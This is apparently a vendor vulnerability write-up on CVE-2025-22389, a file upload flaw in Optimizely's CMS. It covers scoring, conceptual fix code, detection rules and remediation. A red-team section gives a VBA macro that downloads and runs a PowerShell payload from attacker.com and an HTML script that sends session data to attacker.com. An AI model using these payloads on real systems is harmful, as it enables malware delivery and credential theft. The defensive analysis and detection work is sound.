CVE-2025-22389
Executive Summary
CVE-2025-22389 is a medium-severity vulnerability in Optimizely EPiServer.CMS.Core prior to version 12.32.0. The application fails to properly validate uploaded files, allowing attackers to upload potentially malicious file types such as .docm (macro-enabled Word documents) and .html files. When accessed by application users, these files can be used to execute malicious actions or compromise users' systems. This vulnerability is classified as an Unrestricted Upload of File with Dangerous Type (CWE-434). No public proof-of-concept (PoC) code or exploit is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the NuGet package EPiServer.CMS.Core, which is a core component of the Optimizely CMS ecosystem. Organizations using this package should verify their dependency version and update to 12.32.0 or later. Since this is a .NET package, supply chain risks include dependency confusion or compromised package feeds, though no such incidents are reported for this CVE.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, but based on the description and CWE-434 classification, a reasonable estimated vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – requires authenticated CMS user with upload permissions
- User Interaction (UI): Required (R) – victim must access the uploaded file
- Scope (S): Changed (C) – impact may extend beyond the vulnerable component
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): Low (L)
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L
Estimated Score: 8.0 (High)
Threat Level: Medium (based on NVD rating). The requirement for user interaction and authenticated upload reduces the risk, but the potential for macro execution or HTML-based attacks (e.g., phishing, credential theft) makes it significant.
Deep Dive & Mechanics
The vulnerability resides in the file upload functionality of Optimizely EPiServer.CMS.Core. The application does not enforce strict validation on uploaded file types, allowing files with extensions like .docm (Word macro-enabled documents) and .html (web pages) to be stored and served to users.
Attack Flow:
- An authenticated attacker with file upload privileges (e.g., content editor) uploads a malicious
.docmfile containing a macro that executes PowerShell or downloads malware, or an.htmlfile containing JavaScript for XSS or phishing. - The file is stored on the CMS server and made accessible via a URL.
- An unsuspecting user (e.g., site visitor or another editor) accesses the uploaded file.
- If the file is a
.docm, the user's browser may prompt to open it with Microsoft Word, where macros can execute. If it is an.html, the browser renders it, executing embedded scripts in the context of the CMS domain.
Root Cause: Lack of file type whitelisting or content-type verification. The application likely relies on client-side validation or no validation at all.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// No validation of file extension or content
public void UploadFile(HttpPostedFileBase file)
{
var path = Server.MapPath("~/uploads/" + file.FileName);
file.SaveAs(path);
}
Patched Code (Conceptual):
private static readonly string[] AllowedExtensions = { ".jpg", ".png", ".gif", ".pdf" };
public void UploadFile(HttpPostedFileBase file)
{
var extension = Path.GetExtension(file.FileName).ToLowerInvariant();
if (!AllowedExtensions.Contains(extension))
{
throw new InvalidOperationException("File type not allowed.");
}
// Additional content-type validation
var path = Server.MapPath("~/uploads/" + Guid.NewGuid() + extension);
file.SaveAs(path);
}
The patch in version 12.32.0 likely implements a whitelist of allowed file extensions and may also perform MIME type validation or content inspection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Authenticated CMS user with file upload permissions.
- Target running Optimizely EPiServer.CMS.Core < 12.32.0.
Steps:
- Craft Malicious File: Create a
.docmfile with a macro that executes a reverse shell or downloads a payload. Alternatively, create an.htmlfile with JavaScript that steals session cookies or performs phishing. - Upload: Log in to the CMS and upload the file via the vulnerable upload functionality.
- Obtain URL: Note the URL where the file is stored (e.g.,
https://target.com/uploads/malicious.docm). - Deliver: Send the URL to a victim via email, social engineering, or embed it in another page.
- Trigger: Victim accesses the URL. For
.docm, they must open it with Word and enable macros. For.html, the browser executes the script automatically.
Example Macro (VBA):
Sub AutoOpen()
Dim shell As Object
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -NoP -NonI -W Hidden -Exec Bypass -Command ""IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"""
End Sub
Example HTML Payload:
<html>
<body>
<script>
fetch('/api/session').then(r => r.text()).then(t => {
new Image().src = 'http://attacker.com/steal?data=' + encodeURIComponent(t);
});
</script>
</body>
</html>
Blue Team
Detection:
- Monitor file upload logs for unusual extensions (
.docm,.html,.exe,.js). - Alert on files with double extensions or MIME type mismatches.
- Use file integrity monitoring to detect new files in upload directories.
Prevention:
- Implement strict file type whitelisting on the web server (e.g., IIS Request Filtering).
- Use antivirus/EDR to scan uploaded files for macros or scripts.
- Serve uploaded files from a separate domain or with
Content-Disposition: attachmentto prevent automatic rendering.
Hunting:
- Search web server logs for requests to
/uploads/with.docmor.htmlextensions. - Correlate with authentication logs to identify the uploading user.
Indicators of Compromise (IOCs)
- File Hashes: (None publicly available; generate during analysis)
- File Paths:
/uploads/*.docm,/uploads/*.html - Network: Outbound connections from victim machines to attacker-controlled IPs (e.g., for macro downloads)
- Registry: (If macro executes persistence)
- Process:
WINWORD.EXEspawningpowershell.exeorcmd.exe
Detection Engineering
YARA Rule
rule CVE_2025_22389_Malicious_Upload {
meta:
description = "Detects potentially malicious files uploaded via CVE-2025-22389"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22389"
strings:
$docm_ext = ".docm" nocase
$html_ext = ".html" nocase
$macro_keyword = "AutoOpen" nocase
$powershell = "powershell" nocase
$script_tag = "<script>" nocase
condition:
($docm_ext or $html_ext) and
(($macro_keyword and $powershell) or $script_tag)
}
Sigma Rule
title: CVE-2025-22389 - Suspicious File Upload to Optimizely CMS
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects upload of .docm or .html files to Optimizely CMS, indicating possible exploitation of CVE-2025-22389
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-extension:
- '.docm'
- '.html'
cs-uri-stem: '/uploads/*'
condition: selection
falsepositives:
- Legitimate use of .html files for CMS content (if allowed)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22389 - Suspicious File Upload to Optimizely CMS"; flow:to_server; content:"POST"; http_method; content:"/uploads/"; http_uri; pcre:"/\.(docm|html)$/iU"; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade to EPiServer.CMS.Core version 12.32.0 or later.
- If immediate upgrade is not possible, implement a URL Rewrite rule or IIS Request Filtering to block uploads of
.docmand.htmlfiles.
Long-term:
- Enforce a whitelist of allowed file extensions at the application level.
- Validate file content (MIME type, magic bytes) server-side.
- Store uploaded files outside the web root or serve them with
Content-Disposition: attachmentandX-Content-Type-Options: nosniff. - Conduct a security review of all file upload functionality.
Workaround (IIS):
<system.webServer>
<security>
<requestFiltering>
<fileExtensions>
<add fileExtension=".docm" allowed="false" />
<add fileExtension=".html" allowed="false" />
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>
Valters IT